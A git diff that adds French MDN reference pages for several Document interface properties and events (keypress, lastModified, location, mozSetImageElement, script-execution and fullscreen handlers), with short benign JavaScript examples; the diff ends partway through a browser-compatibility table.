+   <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
+   <td>{{Spec2('DOM3 XPath')}}</td>
+   <td>Definit l'interface {{domxref("XPathEvaluator")}} qui étend le document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Étend l'interface <code>Document</code>  avec les attributs <code>visibilityState</code> et <code>hidden</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Étend l'interface <code>Document</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Étend l'interface <code>Document</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Étend l'interface <code>Document</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Étend l'interface <code>Document</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs_notes">Compatibilité des navigateurs notes</h2>
+
+<h3 id="Notes_concernant_Firefox">Notes concernant Firefox :</h3>
+
+<p>Mozilla définit un ensemble de propriétés non-standard créées seulement pour le contenu XUL :</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>retourne l'élément {{HTMLElement("script")}} qui est en cours d'exécution.</dd>
+ <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>(extensions Mozilla seulement) retourne l'objet  {{Interface("nsIURI")}} représentant l'URI du document. Cette propriété <span id="result_box" lang="fr"><span>a seulement une signification spéciale dans le code JavaScript privilégié (avec les privilèges UniversalXPConnect).</span></span></dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>retourne le noeud ouvert lors de l'appel d'une fenêtre contextuelle.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>retourne le noeud <span class="short_text" id="result_box" lang="fr"><span>qui est la cible de l'info-bulle actuelle.</span></span></dd>
+</dl>
+
+<p>Mozilla a également défini quelques méthodes non standard :</p>
+
+<dl>
+ <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Cette méthode n'a jamais rien fait et a toujours lancé une exception, elle a donc été supprimée dans Gecko 14.0 {{geckoRelease ("14.0")}}.</span></span></dd>
+ <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>Utiliser la méthode {{domxref("Element.getBoundingClientRect()")}} à la place.</dd>
+ <dt>{{domxref("document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt>
+ <dd>charge dynamiquement un <a href="https://developer.mozilla.org/fr/docs/Overlays_XUL" title="XUL_Overlays">XUL overlay</a> . Celui-ci fonctionne seulement dans les documents XUL.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Cette méthode n'a jamais rien fait d'autre que de lancer une exception, elle a donc été supprimée dans Gecko 14.0 {{geckoRelease ("14.0")}}.</span></span></dd>
+</dl>
+
+<h3 id="Notes_concernant_Internet_Explorer"><span lang="fr"><span>Notes concernant Internet Explorer</span></span></h3>
+
+<p><span lang="fr"><span>Microsoft a défini quelques propriétés non standard :</span></span></p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Retourne la taille en octets du document.</span> <span>À partir d'Internet Explorer 11, cette propriété n'est plus prise en charge.</span> <span>Voir </span></span> <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Internet Explorer ne prend pas en charge toutes les méthodes de l'interface Node dans l'interface Document :</span></span></p>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Pour contourner le problème, <code>document.body.contains ()</code> peut être utilisé.</span></span></dd>
+</dl>
diff --git a/files/fr/web/api/document/keypress_event/index.html b/files/fr/web/api/document/keypress_event/index.html
new file mode 100644
index 0000000000..e0560ef1df
--- /dev/null
+++ b/files/fr/web/api/document/keypress_event/index.html
@@ -0,0 +1,102 @@
+---
+title: keypress
+slug: Web/API/Document/keypress_event
+tags:
+  - DOM
+  - Déprécié
+  - Evènement
+  - KeyboardEvent
+  - Reference
+translation_of: Web/API/Document/keypress_event
+---
+<div>{{APIRef}} {{deprecated_header}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>keypress</code></strong> est déclenché lorsqu'une touche produisant un caractère est pressée.</span> Cela concerne les touches qui produisent des caractères alphabétiques, des caractères numériques et des signes de ponctuations. Les touches <kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd> ou <kbd>Meta</kbd> ne sont pas concernées.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cet évènement est déprécié et il faudrait plutôt utiliser <code><a href="/fr/docs/Web/API/HTMLElement/beforeinput_event">beforeinput</a></code> ou <code><a href="/fr/docs/Web/API/Document/keydown_event">keydown</a></code>.</p>
+</div>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("KeyboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Remonte sur les parents (<em>bubbles</em>)</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Action par défaut</th>
+   <td>Cela peut varier : évènement <code>keypress</code> ; ouverture du système de composition du texte ; évènements <code><a href="/fr/docs/Web/API/Element/blur_event">blur</a></code> et <code><a href="/fr/docs/Web/API/Element/focus_event">focus</a></code> ; évènement <a href="/fr/docs/Web/API/Element/DOMActivate_event"><code>DOMActivate</code> </a>{{deprecated_inline}}; autre évènement.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajout_d'un_addEventListener">Ajout d'un <code>addEventListener</code></h3>
+
+<p>Dans cet exemple, on affiche la valeur de {{domxref("KeyboardEvent.code")}} lorsqu'on appuie sur une touche :</p>
+
+<pre class="brush: html">&lt;p&gt;
+   Cliquez dans l'iframe pour lui passer le focus
+   puis appuyez sur des touches du clavier.
+&lt;/p&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js">const log = document.getElementById('log');
+
+document.addEventListener('keypress', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<p>{{EmbedLiveSample("addEventListener_keypress_example")}}</p>
+
+<h3 id="Équivalent_onkeypress">Équivalent <code>onkeypress</code></h3>
+
+<pre class="brush: js">document.onkeypress = logKey;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-keypress')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.keypress_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onkeypress")}}</li>
+ <li>L'interface {{domxref("Element")}} que cet évènement cible</li>
+ <li>Les évènements associés :
+  <ul>
+   <li><code><a href="/fr/docs/Web/API/Document/keydown_event">keydown</a></code></li>
+   <li><code><a href="/fr/docs/Web/API/Document/keyup_event">keyup</a></code></li>
+   <li><code><a href="/fr/docs/Web/API/HTMLElement/beforeinput_event">beforeinput</a></code></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/document/lastmodified/index.html b/files/fr/web/api/document/lastmodified/index.html
new file mode 100644
index 0000000000..c9f26ad21b
--- /dev/null
+++ b/files/fr/web/api/document/lastmodified/index.html
@@ -0,0 +1,67 @@
+---
+title: Document.lastModified
+slug: Web/API/Document/lastModified
+translation_of: Web/API/Document/lastModified
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Retourne une chaîne de caractère contenant la date et l'heure à laquelle le présent document a été modifié pour la dernière fois.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>string</var> = document.lastModified;
+</pre>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Exemple_1_Utilisation_simple">Exemple #1: Utilisation simple</h3>
+
+<pre class="brush:js">alert(document.lastModified);
+// renvoie: 11/28/2015 16:11:15
+</pre>
+
+<h3 id="Exemple_2_Transformer_lastModified_en_un_objet_de_type_Date">Exemple #2: Transformer <code>lastModified</code> en un objet de type <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code></a></h3>
+
+<pre class="brush:js">var oLastModif = new Date(document.lastModified);
+</pre>
+
+<h3 id="Exemple_3_Transformer_lastModified_en_un_nombre_de_millisecondes_passées_depuis_le_1_Janvier_1970_à_000000_heure_locale.">Exemple #3: Transformer <code>lastModified</code> en un nombre de millisecondes passées depuis le 1 Janvier 1970 à 00:00:00, heure locale.</h3>
+
+<pre class="brush:js">var nLastModif = Date.parse(document.lastModified);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Veuillez noter qu'en tant que chaîne de caractères, <code>lastModified </code>ne peut être <em>facilement </em>utilisé pour des comparaisons entre les dates modifées des documents. Voici un exemple possible qui montre comment afficher une alerte quand la page change (voir aussi: <a href="/en-US/docs/DOM/document.cookie" title="/en-US/docs/DOM/document.cookie">API des cookies en JavaScript</a>):</p>
+
+<pre class="brush: js">if (Date.parse(document.lastModified) &gt; parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) {
+    document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
+    alert("Cette page a changé !");
+}</pre>
+
+<p>… le même exemple, mais en ignorant la première visite:</p>
+
+<pre class="brush: js">var
+
+    nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")),
+    nLastModif = Date.parse(document.lastModified);
+
+if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+    document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
+    if (isFinite(nLastVisit)) {
+        alert("Cette page a changé !");
+    }
+}</pre>
+
+<div class="note"><strong>Note:</strong> WebKit renvoie le temps sous forme de chaîne de caractère en UTC; Gecko et Internet Explorer renvoient le temps selon le fuseau horaire local.<br>
+(Voir: <a href="https://bugs.webkit.org/show_bug.cgi?id=4363" title="Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time">Bogue 4363 – document.lastModified renoive la date en UTC, mais devrait la renvoyer selon le fuseau horaire local</a>)</div>
+
+<p>Si vous voulez savoir <strong>si <em>une page externe</em> a changé, </strong>veuillez lire <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date" title="/en-US/docs/Web/API/document.lastModified">ce paragraphe à propos de l'API <code>XMLHttpRequest()</code></a>.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>HTML5</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.lastModified")}}</p>
diff --git a/files/fr/web/api/document/laststylesheetset/index.html b/files/fr/web/api/document/laststylesheetset/index.html
new file mode 100644
index 0000000000..2f24656c13
--- /dev/null
+++ b/files/fr/web/api/document/laststylesheetset/index.html
@@ -0,0 +1,46 @@
+---
+title: Document.lastStyleSheetSet
+slug: Web/API/Document/lastStyleSheetSet
+tags:
+  - API
+  - DOM
+  - Feuilles de styles
+  - Propriétés
+translation_of: Web/API/Document/lastStyleSheetSet
+---
+<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("1.9") }}</p>
+
+<p>Renvoie le dernier jeu de feuilles de styles activé ; cette valeur de la propriété change chaque fois que la propriété {{ domxref("document.selectedStyleSheetSet") }} est modifiée.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>lastStyleSheetSet</em> = document.lastStyleSheetSet
+</pre>
+
+<p>En retour, <code>lastStyleSheetSet</code> indique le jeu de feuilles de styles qui a été défini le plus récemment. Si le jeu de feuilles de style en cours n'a pas été modifié en définissant {{ domxref("document.selectedStyleSheetSet") }}, la valeur retournée est <code>null</code>.</p>
+
+<div class="note"><strong>Note :</strong> Cette valeur ne doit pas changer lorsque {{ domxref("document.enableStyleSheetsForSet()") }} est appelé.</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var lastSheetSet = document.lastStyleSheetSet;
+if (!lastSheetSet) {
+  lastSheetSet = "Sheet not yet changed";
+}
+console.log("The last sheet set is: " + lastSheetSet);
+</pre>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("document.preferredStyleSheetSet") }}</li>
+ <li>{{ domxref("document.selectedStyleSheetSet") }}</li>
+ <li>{{ domxref("document.styleSheetSets") }}</li>
+ <li>{{ domxref("document.enableStyleSheetsForSet()") }}</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li>
+</ul>
diff --git a/files/fr/web/api/document/location/index.html b/files/fr/web/api/document/location/index.html
new file mode 100644
index 0000000000..afd9341feb
--- /dev/null
+++ b/files/fr/web/api/document/location/index.html
@@ -0,0 +1,111 @@
+---
+title: Document.location
+slug: Web/API/Document/location
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Propriété
+  - Reference
+  - lecture seule
+translation_of: Web/API/Document/location
+---
+<p><span style="font-size: 14px; line-height: 1.5;">La propriété en lecture seule </span><strong style="font-size: 14px; line-height: 1.5;"><code>Document.location</code></strong><code style="font-size: 14px;"> renvoie un objet</code><span style="font-size: 14px; line-height: 1.5;"> {{domxref("Location")}}, contenant les informations sur l'URL du document et fournit des moyens pour modifier cette URL ou charger une autre URL.</span></p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Bien que </span><code style="font-size: 14px;">Document.location</code><span style="font-size: 14px; line-height: 1.5;"> soit un objet </span><span style="font-size: 14px; line-height: 1.5;"> </span><code style="font-size: 14px;">Location</code><span style="font-size: 14px; line-height: 1.5;"> en <em>lecture seule</em>, vous pouvez lui assigner un</span><span style="font-size: 14px; line-height: 1.5;"> {{domxref("DOMString")}}. Cela signifie que vous pouvez dans la plupart des cas utiliser document.location comme s'il s'agissait d'une chaîne de caractères: </span><code style="font-size: 14px;">document.location = 'http://www.example.com'</code><span style="font-size: 14px; line-height: 1.5;"> est un synonyme de </span><code style="font-size: 14px;">document.location.href = 'http://www.example.com'</code><span style="font-size: 14px; line-height: 1.5;">.</span></p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Pour récupérer uniquement l'URL en tant que chaîne de caractères, la propriété </span><span style="font-size: 14px; line-height: 1.5;">{{domxref("document.URL")}} peut également être utilisée.</span></p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Si le document courant n'est pas un contexte de navigation, la valeur renvoyée est <em>null</em>.</span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>locationObj</em> = document.location
+document.location = 'http://www.mozilla.org' // équivalent à document.location.href = 'http://www.mozilla.org'
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js notranslate">console.log(document.location);
+// Affiche un string-like
+// "http://www.example.com/juicybits.html" dans la console
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement avec {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>L'interface de la valeur renvoyée, {{domxref("Location")}}.</li>
+ <li>Une information similaire mais attachée au contexte de navigation, {{domxref("Window.location")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/mozsetimageelement/index.html b/files/fr/web/api/document/mozsetimageelement/index.html
new file mode 100644
index 0000000000..1c35bcbcc5
--- /dev/null
+++ b/files/fr/web/api/document/mozsetimageelement/index.html
@@ -0,0 +1,81 @@
+---
+title: Document.mozSetImageElement()
+slug: Web/API/Document/mozSetImageElement
+tags:
+  - API
+  - Arrière-plan
+  - CSS
+  - DOM
+  - Image
+  - Méthodes
+translation_of: Web/API/Document/mozSetImageElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{ gecko_minversion_header("2.0") }}{{ non-standard_header() }}</p>
+
+<p>Change l'élément utilisé comme arrière-plan CSS par un arrière-plan avec un ID d'élément d'arrière-plan donné.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">document.mozSetImageElement(<em>imageElementId</em>, imageElement);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>imageElementId</code> est une chaîne de caractères indiquant le nom d'un élément qui a été spécifié comme une image d'arrière-plan en utilisant la fonction CSS {{ cssxref("-moz-element") }}.</li>
+ <li><code>imageElement</code> est le nouvel élément à utiliser comme arrière-plan correspondant à cette chaîne d'élément image. Spécifiez <code>null</code> pour supprimer l'élément d'arrière-plan.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Cet exemple change l'arrière-plan d'un bloc {{ HTMLElement("div") }} chaque fois que l'utilisateur clique sur le bloc.</p>
+
+<p><a href="/samples/domref/mozSetImageElement.html" title="https://developer.mozilla.org/samples/domref/mozSetImageElement.html">Vue de cet exemple en direct</a>.</p>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+  #mybox {
+    background-image: -moz-element(#canvasbg);
+    text-align: center;
+    width: 400px;
+    height: 400px;
+    cursor: pointer;
+  }
+&lt;/style&gt;
+</pre>
+
+<p>Le CSS défini par le bloc {{ HTMLElement("style") }} ci-dessus est utilisé par notre {{ HTMLElement("div") }} pour afficher un élément, ayant l'id "canvasbg", en arrière-plan.</p>
+
+<pre class="brush: js">var c = 0x00;
+function clicked() {
+  var canvas = document.createElement("canvas");
+  canvas.setAttribute("width", 100);
+  canvas.setAttribute("height", 100);
+
+  var ctx = canvas.getContext('2d');
+  ctx.fillStyle = "#" + c.toString(16) + "0000";
+  ctx.fillRect(25, 25, 75, 75);
+
+  c += 0x11;
+  if (c &gt; 0xff) {
+    c = 0x00;
+  }
+
+  document.mozSetImageElement("canvasbg", canvas);
+}
+</pre>
+
+<p>Le code ici est appelé chaque fois que l'utilisateur clique sur l'élément {{ HTMLElement("div") }}. Il crée un nouveau {{ HTMLElement("canvas") }} avec la largeur et la hauteur définies à 100 pixels et le dessine dans un carré de 50 par 50 pixels. Chaque fois que la fonction est appelée, le carré est d'une couleur différente (sa composante rouge est augmentée à chaque fois), donc chaque fois que l'utilisateur clique sur l'élément, le fond est plus lumineux et rempli d'un motif plus lumineux de carreaux rouges.</p>
+
+<p>Une fois le canvas dessiné, <code>document.mozSetImageElement()</code> est appelée pour définir l'arrière-plan de tout CSS en utilisant l'ID "canvasbg" comme ID d'élément d'arrière-plan pour être notre nouveau canvas.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{ cssxref("-moz-element") }}</li>
+</ul>
diff --git a/files/fr/web/api/document/mozsyntheticdocument/index.html b/files/fr/web/api/document/mozsyntheticdocument/index.html
new file mode 100644
index 0000000000..443c3ca5e0
--- /dev/null
+++ b/files/fr/web/api/document/mozsyntheticdocument/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.mozSyntheticDocument
+slug: Web/API/Document/mozSyntheticDocument
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+translation_of: Web/API/Document/mozSyntheticDocument
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Indique si le document est synthétique ou non ; c'est-à-dire un document représentant une image autonome, une vidéo, un son ou analogue.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>var isSynthetic</em> = <em>document</em>.mozSyntheticDocument;
+</pre>
+
+<p>En retour, <code>isSynthetic</code> est <code>true</code> (<em>vrai</em>) si le document est synthétique ; sinon, <code>false</code> (<em>faux</em>).</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Il peut être utile, si vous avez un élément de menu contextuel que vous souhaitez uniquement afficher pour les documents synthétiques (ou, inversement, pour les documents qui ne sont pas synthétiques).</p>
+
+<pre class="eval">var isSynthetic = document.mozSyntheticDocument;
+
+if (isSynthetic) {
+  /* insert your menu item here */
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/api/document/onafterscriptexecute/index.html b/files/fr/web/api/document/onafterscriptexecute/index.html
new file mode 100644
index 0000000000..52494ee50e
--- /dev/null
+++ b/files/fr/web/api/document/onafterscriptexecute/index.html
@@ -0,0 +1,48 @@
+---
+title: Document.onafterscriptexecute
+slug: Web/API/Document/onafterscriptexecute
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - scripts
+translation_of: Web/API/Document/onafterscriptexecute
+---
+<div>{{ ApiRef("DOM") }} {{non-standard_header}}</div>
+
+<div> </div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Lancé lorsqu'un élément {{HTMLElement("script")}} statique achève l'exécution de son script. N'est pas lancé si l'élément est ajouté dynamiquement, par exemple avec appendChild().</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>document.onafterscriptexecute = funcRef;</em>
+</pre>
+
+<p><em>funcRef</em> est une référence de fonction appelée lorsqu'un évènement est lancé. L'attribut de la <code>target</code> (cible) d'évènement est défini sur l'{{domxref("Element")}} script dont l'exécution vient de s'achever.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">function finished(e) {
+  logMessage("Finished script with ID: " + e.target.id);
+}
+
+document.addEventListener("afterscriptexecute", finished, true);
+</pre>
+
+<p><a href="/samples/html/currentScript.html">Voir l'exemple sur une page</a></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element" title="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element">HTML5</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document.onbeforescriptexecute")}}</li>
+ <li>{{domxref("Document.currentScript")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/onbeforescriptexecute/index.html b/files/fr/web/api/document/onbeforescriptexecute/index.html
new file mode 100644
index 0000000000..f0fc8ee381
--- /dev/null
+++ b/files/fr/web/api/document/onbeforescriptexecute/index.html
@@ -0,0 +1,46 @@
+---
+title: Document.onbeforescriptexecute
+slug: Web/API/Document/onbeforescriptexecute
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - scripts
+translation_of: Web/API/Document/onbeforescriptexecute
+---
+<div>{{ApiRef("DOM")}} {{non-standard_header }}</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Lancé lorsque le code dans un élément {{HTMLElement("script")}} déclaré dans un document HTML est sur le point de s'exécuter. N'est pas déclenché si l'élément est ajouté dynamiquement, par exemple avec appendChild().</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>document.onbeforescriptexecute = funcRef;</em>
+</pre>
+
+<p><em>funcRef</em> est une référence de fonction appelée lorsque l'évènement est lancé. L'attribut de la <code>target</code> (<em>cible</em>) d'évènement est défini dans l'{{domxref("Element")}} script qui est sur le point d'être exécuté.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">function starting(e) {
+  logMessage("Starting script with ID: " + e.target.id);
+}
+
+document.addEventListener("beforescriptexecute", starting, true);
+</pre>
+
+<p><a href="/samples/html/currentScript.html">Voir l'exemple sur une page</a></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element" title="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element">HTML5</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document.onafterscriptexecute")}}</li>
+ <li>{{domxref("Document.currentScript")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/onfullscreenchange/index.html b/files/fr/web/api/document/onfullscreenchange/index.html
new file mode 100644
index 0000000000..2736f848e7
--- /dev/null
+++ b/files/fr/web/api/document/onfullscreenchange/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.onfullscreenchange
+slug: Web/API/Document/onfullscreenchange
+translation_of: Web/API/Document/onfullscreenchange
+---
+<div>{{ApiRef("Fullscreen API")}}</div>
+
+<p>La propriété <code><strong>Document</strong></code><strong><code>.onfullscreenchange</code> </strong>est un gestionnaire d'événement pour l'événement {{event("fullscreenchange")}} qui est lancé lorsque le document entre ou sort du mode plein écran.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>targetDocument</var>.onfullscreenchange = <var>fullscreenChangeHandler</var>;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">document.onfullscreenchange = function ( event ) {
+  console.log("FULL SCREEN CHANGE")
+};
+document.documentElement.onclick = function () {
+  // requestFullscreen() doit être un gestionnaire d'événement, sinon ça échouera
+  document.documentElement.requestFullscreen();
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#handler-document-onfullscreenchange", "onfullscreenchange")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basic</td>
+   <td>{{CompatUnknown}}</td>
